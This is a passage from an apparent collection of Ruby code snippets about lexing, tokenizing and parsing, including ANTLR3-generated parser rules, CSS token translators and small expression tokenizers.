- - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n \n return return_value\n end", "def get_directives ctx\n directives = []\n this_starting_tok = ctx.getSourceInterval.a\n\n i = this_starting_tok - 1\n curr_tok = i > 0 ? @tokens.get(i) : nil\n while curr_tok && curr_tok.channel != 0\n if curr_tok.channel == 2\n directives << curr_tok\n end\n\n i -= 1\n curr_tok = i > 0 ? @tokens.get(i) : nil\n end\n\n return directives\n end", "def terminals(ast, expr = @expr)\n ([:alt, :diff].include?(expr.first) ? expr[1..-1] : expr[1,1]).map do |sym|\n case sym\n when Symbol\n r = ast.detect {|r| r.sym == sym}\n r if r && r.terminal?\n when String\n sym\n when Array\n terminals(ast, sym)\n end\n end.flatten.compact.uniq\n end", "def lex\n r = []\n while (tok = @lexer.lex).kind != T::EOF\n r.push(tok)\n end\n r\n end", "def tokenize\n @s.reset\n\n tokens = []\n\n while token = consume\n tokens << token\n end\n\n tokens\n end", "def tokenize\n @s.reset\n\n tokens = []\n\n while token = consume\n tokens << token\n end\n\n tokens\n end", "def get_variables(input)\n variables = []\n input.each do |token|\n variables.push(token) if check_variables([token])\n end\n variables\n end", "def start(raw)\n typ = Tokenizer::DEFAULT_TOKEN_TABLE\n letters = raw.dup.split(\"\")\n tokens = []\n\n while (ch = letters.shift) != nil\n tokens.push(typ[ch])\n end\n\n return tokens\n end", "def tokens_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n return_value = TokensSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __TOKENS13__ = nil\n char_literal15 = nil\n token_spec14 = nil\n\n tree_for_TOKENS13 = nil\n tree_for_char_literal15 = nil\n stream_TOKENS = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token TOKENS\" )\n stream_T__72 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__72\" )\n stream_token_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule token_spec\" )\n begin\n # at line 101:4: TOKENS ( token_spec )+ '}'\n __TOKENS13__ = match( TOKENS, TOKENS_FOLLOWING_TOKENS_IN_tokens_spec_462 )\n if @state.backtracking == 0\n stream_TOKENS.add( __TOKENS13__ )\n end\n # at file 101:11: ( token_spec )+\n match_count_8 = 0\n while true\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == TOKEN_REF )\n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line 101:11: token_spec\n @state.following.push( TOKENS_FOLLOWING_token_spec_IN_tokens_spec_464 )\n token_spec14 = token_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_token_spec.add( token_spec14.tree )\n end\n\n else\n match_count_8 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(8)\n\n\n raise eee\n end\n match_count_8 += 1\n end\n\n char_literal15 = match( T__72, TOKENS_FOLLOWING_T__72_IN_tokens_spec_467 )\n if @state.backtracking == 0\n stream_T__72.add( char_literal15 )\n end\n # AST Rewrite\n # elements: token_spec, TOKENS\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 101:27: -> ^( TOKENS ( token_spec )+ )\n # at line 101:30: ^( TOKENS ( token_spec )+ )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_TOKENS.next_node, root_1 )\n\n # at line 101:39: ( token_spec )+\n stream_token_spec.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_token_spec.has_next?\n @adaptor.add_child( root_1, stream_token_spec.next_tree )\n\n end\n stream_token_spec.reset\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return return_value\n end", "def symbols\n each_symbol.to_a\n end", "def tokens(string)\n tokens = []\n string.split.each do |token|\n case token\n when \"+\"\n tokens << :+\n when \"-\"\n tokens << :-\n when \"*\"\n tokens << :*\n when \"/\"\n tokens << :/\n else\n tokens << token.to_i\n end\n end\n tokens\n end", "def tokens(force = nil)\n data(force).map(&:token)\n end", "def tokens_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 2)\n return_value = TokensSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __TOKENS13__ = nil\n char_literal15 = nil\n token_spec14 = nil\n\n tree_for_TOKENS13 = nil\n tree_for_char_literal15 = nil\n stream_TOKENS = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token TOKENS\")\n stream_T__72 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__72\")\n stream_token_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule token_spec\")\n begin\n # at line 110:4: TOKENS ( token_spec )+ '}'\n __TOKENS13__ = match(TOKENS, TOKENS_FOLLOWING_TOKENS_IN_tokens_spec_467) \n if @state.backtracking == 0\n stream_TOKENS.add(__TOKENS13__)\n end\n # at file 110:11: ( token_spec )+\n match_count_8 = 0\n loop do\n alt_8 = 2\n look_8_0 = @input.peek(1)\n\n if (look_8_0 == TOKEN_REF) \n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line 110:11: token_spec\n @state.following.push(TOKENS_FOLLOWING_token_spec_IN_tokens_spec_469)\n token_spec14 = token_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_token_spec.add(token_spec14.tree)\n end\n\n else\n match_count_8 > 0 and break\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n eee = EarlyExit(8)\n\n\n raise eee\n end\n match_count_8 += 1\n end\n\n char_literal15 = match(T__72, TOKENS_FOLLOWING_T__72_IN_tokens_spec_472) \n if @state.backtracking == 0\n stream_T__72.add(char_literal15)\n end\n # AST Rewrite\n # elements: token_spec, TOKENS\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 110:27: -> ^( TOKENS ( token_spec )+ )\n # at line 110:30: ^( TOKENS ( token_spec )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_TOKENS.next_node, root_1)\n\n # at line 110:39: ( token_spec )+\n unless stream_token_spec.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_token_spec.has_next?\n @adaptor.add_child(root_1, stream_token_spec.next_tree)\n\n end\n\n stream_token_spec.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 2)\n\n end\n \n return return_value\n end", "def consume_declarations(input = @tokens)\n declarations = []\n\n while token = input.consume\n case token[:node]\n when :comment, :semicolon, :whitespace\n declarations << token\n\n when :at_keyword\n # TODO: this is technically a parse error when parsing a style rule,\n # but not necessarily at other times.\n\n # Note: The spec doesn't say we should reconsume here, but it's\n # necessary since `consume_at_rule` must consume the `:at_keyword` as\n # the rule's name or it'll end up in the prelude. The spec *does* say\n # we should reconsume when an `:at_keyword` is encountered in\n # `consume_rules`, so we either have to reconsume in both places or in\n # neither place. I've chosen to reconsume in both places.\n input.reconsume\n declarations << consume_at_rule(input)\n\n when :ident\n decl_tokens = [token]\n input.consume\n\n while input.current\n decl_tokens << input.current\n break if input.current[:node] == :semicolon\n input.consume\n end\n\n if decl = consume_declaration(TokenScanner.new(decl_tokens))\n declarations << decl\n end\n\n else\n # TODO: parse error (invalid property name, etc.)\n while token && token[:node] != :semicolon\n token = consume_component_value(input)\n end\n end\n end\n\n declarations\n end", "def get_tokenize\n @lexeme = nil\n loop {\n case @string\n\t when nil\t\t# the end\n\t @sym = nil\n\t break\n when \"\" # the end\n @sym = nil\n break\n when /\\A[\\r\\n\\t ]+/m\t# skip whitespace\n @string = $'\n when /\\A\\(/m # skip comment\n comment\n when /\\A\"\"/ # skip empty quoted text\n @string = $'\n when /\\A[\\w!$%&\\'*+\\/=?^\\`{\\}|~#-]+/m\n @string = $'\n @sym = SYM_ATOM\n break\n when /\\A\"(.*?([^\\\\]|\\\\\\\\))\"/m\n @string = $'\n @sym = SYM_QTEXT\n @lexeme = $1.gsub(/\\\\(.)/, '\\1')\n break\n when /\\A</\n @string = $'\n @sym = SYM_LESS_THAN\n break\n when /\\A>/\n @string = $'\n @sym = SYM_GREATER_THAN\n break\n when /\\A@/\n @string = $'\n @sym = SYM_AT_SIGN\n break\n when /\\A,/\n @string = $'\n @sym = SYM_COMMA\n break\n when /\\A:/\n @string = $'\n @sym = SYM_COLON\n break\n when /\\A;/\n @string = $'\n @sym = SYM_SEMI_COLON\n break\n when /\\A\\./\n @string = $'\n @sym = SYM_PERIOD\n break\n\t when /\\A(\\[.*?([^\\\\]|\\\\\\\\)\\])/m\n\t @string = $'\n\t @sym = SYM_DOMAIN_LITERAL\n\t @lexeme = $1.gsub(/(^|[^\\\\])[\\r\\n\\t ]+/, '\\1').gsub(/\\\\(.)/, '\\1')\n\t break\n when /\\A[\\200-\\377\\w!$%&\\'*+\\/=?^\\`{\\}|~#-]+/nm\n # This is just like SYM_ATOM, but includes all characters\n # with high bits. This is so we can allow such tokens in\n # the display name portion of an address even though it\n # violates the RFCs.\n @string = $'\n @sym = SYM_ATOM_NON_ASCII\n break\n when /\\A./\n @string = $'\t# garbage\n\t error('garbage character in string')\n else\n raise \"internal error, @string is #{@string.inspect}\"\n end\n }\n if @sym\n @lexeme ||= $&\n end\n end", "def symbol_segments\n segments.select{ |s| s.is_a?(Symbol) }\n end", "def symbols(expr = @expr)\n expr[1..-1].map do |sym|\n case sym\n when Symbol\n sym\n when Array\n symbols(sym)\n end\n end.flatten.compact.uniq\n end", "def for_sxp\n elements = [kind, sym]\n elements << id if id\n elements << [:start, true] if start\n elements << first.sort_by(&:to_s).unshift(:first) if first\n elements << follow.sort_by(&:to_s).unshift(:follow) if follow\n elements << [:cleanup, cleanup] if cleanup\n elements << expr\n elements\n end", "def terminals\n\t\treturn @production_rules.values.flatten.uniq.select { |x| /([a-z]+|\\$)/ =~ x and x != \"lambda\" }\n\tend", "def symptoms_definition\n names = symptoms.present? ? symptoms : reified_actives_for(\"symptoms\").map(&:name)\n names.map do |symptom|\n basic_question(symptom)\n end\n end", "def tokens\n tok_sequence = []\n until @scanner.eos?\n token = _next_token\n tok_sequence << token unless token.nil?\n end\n\n tok_sequence\n end", "def parse\n statements = []\n while !at_end?\n statements << declaration\n end\n\n return statements\n rescue Ringo::Errors::ParseError\n return nil\n end", "def parse\n @tokens = tokenize\n while @tokens.last.is_a?(Symbol) do\n @tokens.delete_at(@tokens.size - 1)\n end\n parse_expression_sequence(true).simplify\n end", "def tokenize(node)\n case Array(node)[0]\n when :module\n name = node[1]\n [ :module, name, node.comments, tokenize(node[2..-1]) ]\n when :class\n name = node[1]\n [ :class, name, node.comments, tokenize(node[3..-1]) ]\n when :defn\n name = node[1]\n args = args_for_node(node[2])\n [ :imethod, name, node.comments, args ]\n when :defs\n name = node[2]\n args = args_for_node(node[3])\n [ :cmethod, name, node.comments, args ]\n when :block\n tokenize(node[1..-1])\n when :scope\n tokenize(node[1])\n when Array\n node.map { |n| tokenize(n) }.compact\n end\n end", "def symbols\n @symbol_set.symbols\n end", "def translate_tokens(tokens)\n return [] if tokens.nil?\n\n translated = []\n tokens = [tokens] unless tokens.is_a?(Array)\n\n tokens.each do |token|\n value = token[:value]\n\n result = case token[:node]\n\n # Rules and declarations.\n when :at_rule\n ['at-rule', token[:name], translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :qualified_rule\n ['qualified rule', translate_tokens(token[:prelude]), token[:block] ? translate_tokens(token[:block]) : nil]\n\n when :declaration\n ['declaration', token[:name], translate_tokens(value), token[:important]]\n\n # Component values.\n when :at_keyword\n ['at-keyword', value]\n\n when :bad_string\n ['error', 'bad-string']\n\n when :bad_url\n ['error', 'bad-url']\n\n when :cdc\n '-->'\n\n when :cdo\n '<!--'\n\n when :colon\n ':'\n\n when :column\n '||'\n\n when :comma\n ','\n\n when :dash_match\n '|='\n\n when :delim\n value\n\n when :dimension\n ['dimension', token[:repr], value, token[:type].to_s, token[:unit]]\n\n when :error\n ['error', value]\n\n when :function\n if token[:name]\n ['function', token[:name]].concat(translate_tokens(value))\n else\n ['function', value]\n end\n\n when :hash\n ['hash', value, token[:type].to_s]\n\n when :ident\n ['ident', value]\n\n when :include_match\n '~='\n\n when :number\n ['number', token[:repr], value, token[:type].to_s]\n\n when :percentage\n ['percentage', token[:repr], value, token[:type].to_s]\n\n when :prefix_match\n '^='\n\n when :semicolon\n ';'\n\n when :simple_block\n [token[:start] + token[:end]].concat(translate_tokens(value))\n\n when :string\n ['string', value]\n\n when :substring_match\n '*='\n\n when :suffix_match\n '$='\n\n when :unicode_range\n ['unicode-range', token[:start], token[:end]]\n\n when :url\n ['url', value]\n\n when :whitespace\n ' '\n\n when :'}', :']', :')'\n ['error', token[:node].to_s]\n\n else\n nil\n end\n\n translated << result unless result.nil?\n end\n\n translated\nend", "def token(tokens)\n lookaheads = \"\"\n name = nil\n token_identifier = nil\n \n if tokens.kind_of? Array\n tokens_names = tokens.map { |tk| build_token_name(tk) }\n token_identifier = \"[\"\n tokens_names.each { |tk| token_identifier << tk + \",\" }\n token_identifier[-1] = \"]\"\t\n \n name = build_token_name(tokens[0])\n counter = 0\n tokens[1..-1].each do |token|\n lookaheads << \" and \" \n counter += 1\n token = build_token_name(token)\n lookaheads << \"@scanner.lookahead(#{counter}) == #{token}\"\n end\n else\n name = build_token_name(tokens)\n token_identifier = name\n end\n \n @code << <<-CODE\n\t\t\t#{@else}if @scanner.current == #{name}#{lookaheads}\n\t\t\t\tresult = productions[#{@name}].tokens[#{token_identifier}].call(result,@scanner,self)\n\t\tCODE\n @else = \"els\"\n self\n end", "def starts_with?(sym)\n if seq? && sym === (v = expr.fetch(1, nil))\n [v]\n elsif alt? && expr.any? {|e| sym === e}\n expr.select {|e| sym === e}\n else\n nil\n end\n end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def tokens; end", "def variable_name\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 83 )\n return_value = VariableNameReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n __ID425__ = nil\n t = nil\n\n tree_for_ID425 = nil\n\n begin\n # at line 821:3: ( ID | t= pseudokeyword )\n alt_107 = 2\n look_107_0 = @input.peek( 1 )\n\n if ( look_107_0 == ID )\n alt_107 = 1\n elsif ( look_107_0 == GET || look_107_0 == SET || look_107_0 == MACRO || look_107_0 == EACH || look_107_0.between?( DEF, OBJECT_DEF ) || look_107_0.between?( T__148, T__150 ) )\n alt_107 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 107, 0 )\n end\n case alt_107\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 821:5: ID\n __ID425__ = match( ID, TOKENS_FOLLOWING_ID_IN_variable_name_5838 )\n if @state.backtracking == 0\n\n tree_for_ID425 = @adaptor.create_with_payload( __ID425__ )\n @adaptor.add_child( root_0, tree_for_ID425 )\n\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 822:5: t= pseudokeyword\n @state.following.push( TOKENS_FOLLOWING_pseudokeyword_IN_variable_name_5846 )\n t = pseudokeyword\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, t.tree )\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n t.tree.token.type = ID \n # <-- action\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 83 )\n\n end\n \n return return_value\n end", "def tokenizer(aTextToParse)\n scanner = StringScanner.new(aTextToParse)\n tokens = []\n\n loop do\n scanner.skip(/\\s+/)\n curr_pos = scanner.pos\n word = scanner.scan(/\\S+/)\n break unless word\n\n term_name = Lexicon[word]\n raise StandardError, \"Word '#{word}' not found in lexicon\" if term_name.nil?\n\n pos = Rley::Lexical::Position.new(1, curr_pos + 1)\n tokens << Rley::Lexical::Token.new(word, term_name, pos)\n end\n\n return tokens\nend", "def name_variations(name)\n variations = []\n variations.push(name)\n variations.push(name.downcase)\n variations.push(name.upcase)\n variations.push(name.gsub(/[ _-]/, ''))\n return variations\nend", "def tokens\n return @tokens\n end", "def read_directive allowed\n tokens = []\n\n while tk = get_tk do\n tokens << tk\n\n if :on_nl == tk[:kind] or (:on_kw == tk[:kind] && 'def' == tk[:text]) then\n return\n elsif :on_comment == tk[:kind] or :on_embdoc == tk[:kind] then\n return unless tk[:text] =~ /\\s*:?([\\w-]+):\\s*(.*)/\n\n directive = $1.downcase\n\n return [directive, $2] if allowed.include? directive\n\n return\n end\n end\n ensure\n unless tokens.length == 1 and (:on_comment == tokens.first[:kind] or :on_embdoc == tokens.first[:kind]) then\n tokens.reverse_each do |token|\n unget_tk token\n end\n end\n end", "def string_to_symbol_array(s)\n words = s.split\n a = []\n words.each do |w|\n symbol = w.downcase.to_sym\n if !is_a_or_an?(symbol)\n a.push(symbol)\n end\n end\n return a\n end", "def terminal_symbols\n symbols.values.select {|symbol| symbol.terminal}\n end", "def listaVariables\n listaAux=[]\n cont=0\n listaAux[0]=match(\"Identificador\")\n cont+=1\n while (nodoExiste && @arrayTokens[@punteroToken].returnTipo == \"Coma\") do\n match(\"Coma\")\n listaAux[cont]=match(\"Identificador\")\n cont+=1\n end\n return listaAux\n end", "def get_token\n return nil if @token_index >= @arguments.size\n\n begin\n case chr(@arguments[@token_index])\n when \"[\"\n return \"statement\", gen_substatement\n\n when \"]\"\n return \"]\"\n\n when \"(\"\n return \"(\", \"(\"\n\n when \")\"\n return \")\", \")\"\n\n when \"n\"\n if (chr(@arguments[@token_index + 1]) == \"o\") && (chr(@arguments[@token_index + 2]) == \"t\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"not\", \"not\"\n else\n gen_statement\n end\n\n when \"!\"\n return \"not\", \"not\"\n\n when \"a\"\n if (chr(@arguments[@token_index + 1]) == \"n\") && (chr(@arguments[@token_index + 2]) == \"d\") && ((chr(@arguments[@token_index + 3]) == \" \") || (chr(@arguments[@token_index + 3]) == \"(\"))\n @token_index += 2\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"&\"\n if chr(@arguments[@token_index + 1]) == \"&\"\n @token_index += 1\n return \"and\", \"and\"\n else\n gen_statement\n end\n\n when \"o\"\n if (chr(@arguments[@token_index + 1]) == \"r\") && ((chr(@arguments[@token_index + 2]) == \" \") || (chr(@arguments[@token_index + 2]) == \"(\"))\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"|\"\n if chr(@arguments[@token_index + 1]) == \"|\"\n @token_index += 1\n return \"or\", \"or\"\n else\n gen_statement\n end\n\n when \"+\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"+\", value\n\n when \"-\"\n value = \"\"\n i = @token_index + 1\n\n begin\n value += chr(@arguments[i])\n i += 1\n end until (i >= @arguments.size) || (chr(@arguments[i]) =~ /\\s|\\)/)\n\n @token_index = i - 1\n return \"-\", value\n\n when \" \"\n return \" \", \" \"\n\n else\n gen_statement\n end\n end\n rescue NoMethodError\n raise \"Error. Expression cannot be parsed.\"\n end", "def tokens(string)\n\t\toperators = [\"+\", \"-\", \"*\", \"/\"]\n\t\tinputs = string.split ' '\n\t\ttokenized = inputs.collect do |input|\n\t\t\tif operators.include? input\n\t\t\t\tinput.to_sym\n\t\t\telse\n\t\t\t\tinput.to_i\n\t\t\tend\n\t\tend\n\t\ttokenized\n\tend", "def symbols; end", "def tokenize(unit_name)\n unit_name = unit_name.gsub('/', ' / ')\n unit_name = unit_name.gsub('*', ' * ')\n tokens = unit_name.split()\n return tokens\n end", "def Lexer(string)\n\tExpressArray.push(string.gsub(/\\(/, ' ( ' ).gsub(/\\)/, ' ) ' ).split) \n\t#take parenthesies that don't have whiteshpace, and put whitespace \n\t#then split the whole string of input by whitespace\n\tprint ExpressArray \nend", "def var_decl_list(var_env, options)\n list = []\n list.push(var_decl(var_env, options))\n\n while eql_lit?(ECMA262::PUNC_COMMA) and b = var_decl(var_env, options)\n list.push(b)\n end\n list\n end", "def generate\n tree = generate_syntax_tree\n source = []\n\n tree.butfirst.each do |production|\n non_terminal = production.first\n\n if non_terminal == :statement\n terminals = production.butfirst\n procedure = terminals.first\n arguments = terminals.butfirst\n\n # If we encounter an unknown procedure, we have to consider\n # it a fatal error.\n if mnemonic_exists?(procedure)\n source << eval_procedure(procedure, arguments)\n else\n raise Bolverk::ASM::SemanticError, \"Unknown procedure: '#{procedure.value}' at line #{procedure.line}.\"\n end\n end\n end\n\n source.join(\"\\n\")\n end", "def get_symbols\n\t\treturn @symbols\n\tend", "def parse_typographic_syms; end", "def get_all_tokens_deviance( target_count=nil )\n token_deviance_list = []\n get_all_tokens.each do |token|\n\tif target_count.nil?\n\t token_deviance_list.push([ token, get_token_deviance( token ) ] )\n\telse\n\t d = get_token_deviance( token )\n\t c = get_token_total( token )\n\t token_deviance_list.push([ token, d ] ) unless c == target_count\n\tend\n end\n return token_deviance_list\n end", "def tokenize(str)\n tokens = Array.new\n x = \"\"\n str.each_char do |ch|\n case ch\n when /[\\+\\-\\*\\/\\^\\(\\)]/\n tokens.push ch\n when /[a-zA-Z\\0-9\\.]/\n x = tokens.pop if not '+-*/^()'.include? tokens[tokens.size - 1].to_s and tokens.size > 0\n tokens.push (x + ch)\n x = \"\"\n else\n return nil\n end\n end\n return tokens\n end", "def tokens!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 59)\n\n type = TOKENS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 596:4: 'tokens' WS_LOOP '{'\n match(\"tokens\")\n ws_loop!\n match(?{)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 59)\n\n end", "def collect_variables\n variables = []\n statements.collect { |s| variables += s.collect_variables }\n variables.uniq\n end", "def non_terminal_symbols\n symbols.values.select {|symbol| symbol.non_terminal}\n end", "def tokens\n @tokens ||= []\n end", "def visitSimpleExpression(smexp)\n\t\tcode = []\n\t\tif smexp.sign!=nil\n\t\t\tcode = smexp.sign\n\t\tend\n\t\t#p \"In simple Expression\"\n\t\t#p smexp\n\t\t#p smexp.termlist.size\n\t\t#p smexp.termlist[0].factlist.first\n\t\t#p smexp.addingoplist\n\t\t#p smexp.termlist[1].factlist.first\n\t\tif smexp.termlist != nil\n\t\t\tcode1 = visitTerm(smexp.termlist.first)\n\t\t\tcode << code1\n\t\t\t#p smexp.termlist[0]\n\t\t\t#p smexp.termlist[1]\n\t\t\tif smexp.termlist.size > 1\n\t\t\t\tfor i in 1..(smexp.termlist.size-1)\n\t\t\t\t\tcode << smexp.addingoplist[i-1].value\n\t\t\t\t\tcode << visitTerm(smexp.termlist[i])\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#p \"simple expression code\"\t\t\n\t\t#p code\n\t\treturn code\n end", "def get_context(message)\n\n nouns = []\n @determiners.each do |determiner|\n matches = message.scan(/\\b#{determiner}\\s+([\\w-]+)\\b/i)\n\n matches.each do |match|\n unless @exempt.include? match.first or @determiners.include? match.first\n nouns << match.first.downcase\n @add_noun.execute(match.first)\n puts \"Added %s\" % match.first.downcase\n end\n end\n end\n nouns = nouns.uniq\n return nouns\n end", "def equation_analyzer(str)\n equation_array = []\n result_array = []\n open_parenth = 0\n closed_parenth = 0\n str.each_char do |character|\n open_parenth += 1 if character == '('\n closed_parenth += 1 if character == ')'\n equation_array << character\n if open_parenth == closed_parenth \n result_array << equation_array.join\n open_parenth = 0\n closed_parenth = 0\n equation_array = []\n end\n end\n result_array.delete(' ')\n result_array\nend", "def reference_tokens\n refs = []\n each_term do |term|\n if is?(term, :reference)\n refs << term[:token]\n end\n end\n refs\n end", "def extract_declares!\n # The extracted declares.\n decls = []\n # Recurse on the sub blocks.\n # Yes.\n decls << self.yes.extract_declares!\n # Noifs.\n decls << self.each_noif.map do |cond,stmnt|\n stmnt.extract_declares!\n end\n # No if any.\n decls << self.no.extract_declares! if self.no\n # Returns the extracted declares.\n return decls\n end", "def non_terminals(ast, expr = @expr)\n ([:alt, :diff].include?(expr.first) ? expr[1..-1] : expr[1,1]).map do |sym|\n case sym\n when Symbol\n r = ast.detect {|r| r.sym == sym}\n r if r && r.rule?\n when Array\n non_terminals(ast, sym)\n else\n nil\n end\n end.flatten.compact.uniq\n end", "def string_symptoms\n symptom = [\n :vomiting,\n :eye_irritation,\n :diarrhea,\n :nausea,\n :stomach_pain,\n :persisting_cough,\n :shortness_of_breath,\n :skin_irritation,\n :stiff_neck,\n :stiff_back,\n ]\n symptoms.map { |s| symptom[s].to_s }\n end", "def get_tokens\n tokens = []\n start = 0\n # Presumption: if the word is not at least 4 letters long, it contains no 4-letter sequences.\n (@wordstring.length - 3).times do\n tokens << @wordstring[start,4]\n start = start + 1\n end\n return tokens\n end", "def stresses(string)\n p = phrase(string)\n .do(:tokenize)\n .map(&:value)\n .reject{ |t| /[[:punct:]]/.match(t) }\n .map{ |t| token_stress(t) }\n first, *rest = *p\n return [] unless first\n combinations = first\n .product(*rest)\n .map(&:join)\n .map{ |t| t.gsub(/\\D/, '') }\n .map{ |t| t.gsub(/2/, '1') }\n end", "def split_on_symbol_locations(string)\n string\n .chars\n .each_with_index\n .slice_when { |(_, index)| is_symbol?(index) }\n .map { |result_with_indeces| result_with_indeces.map(&:first).join }\n end", "def track_use_of_syntactic_predicates(g)\n end", "def tokens(input_string)\n token_strings = input_string.split(\" \")\n token_strings.map do |element|\n puts element\n if ['+', '-', '*', '/'].include? element\n case element\n when \"+\"\n :+\n when \"-\"\n :-\n when \"*\"\n :*\n when \"/\"\n :/\n end\n else\n element.to_i\n end\n end\n end", "def display_source_determinations # :yields: String identifying the lot or specimen the extract came from\n specimen_id && (return Specimen.find(specimen_id).display_name(:type => :determinations))\n return Lot.find(lot_id).display_name(:type => :determination)\n end", "def poss( syn )\n cod = SITE_SYNONYMITY[nuc_codon.join]\n return [] unless cod\n\n pos_codon\n .zip(cod.split(\"\"))\n .select{|p| p.last == (syn=='syn' ? 's' : 'n')}\n .map(&:first)\n end", "def tokenize(list)\n result = []\n list.each_with_index do |str, i|\n newstr = str.dup\n if newstr.gsub(/\\A\\s+/, '').start_with?(@inst_entry)\n token = [:nil]\n syntax.each do |(symbol, regexp, tokenfix)|\n if mtchdata = str.match(regexp)\n token = [symbol, tokenfix.(mtchdata)]\n break\n end\n end\n else\n token = [:data, newstr]\n end\n result << { line: i, raw: str, token: token }\n end\n return result\n end", "def match(s)\n\n a = []\n\n if s =~ /^\\w+\\(/ then\n\n found, token, remainder = lmatch(s.chars, '(',')')\n\n if found == ')' then\n a << token\n end\n\n elsif s =~ /^[\\w\\/]+\\[/\n\n found, token, remainder = lmatch(s.chars, '[',']') \n a << token\n a2 = match remainder\n\n token << a2.first if a2.first \n a.concat a2[1..-1]\n\n a2\n\n else\n token = s.slice!(/^[\\w\\/]+/)\n a << token\n remainder = s\n end\n\n operator = remainder.slice!(/^\\s*\\|\\s*/)\n\n if operator then\n a.concat [operator, *match(remainder)]\n 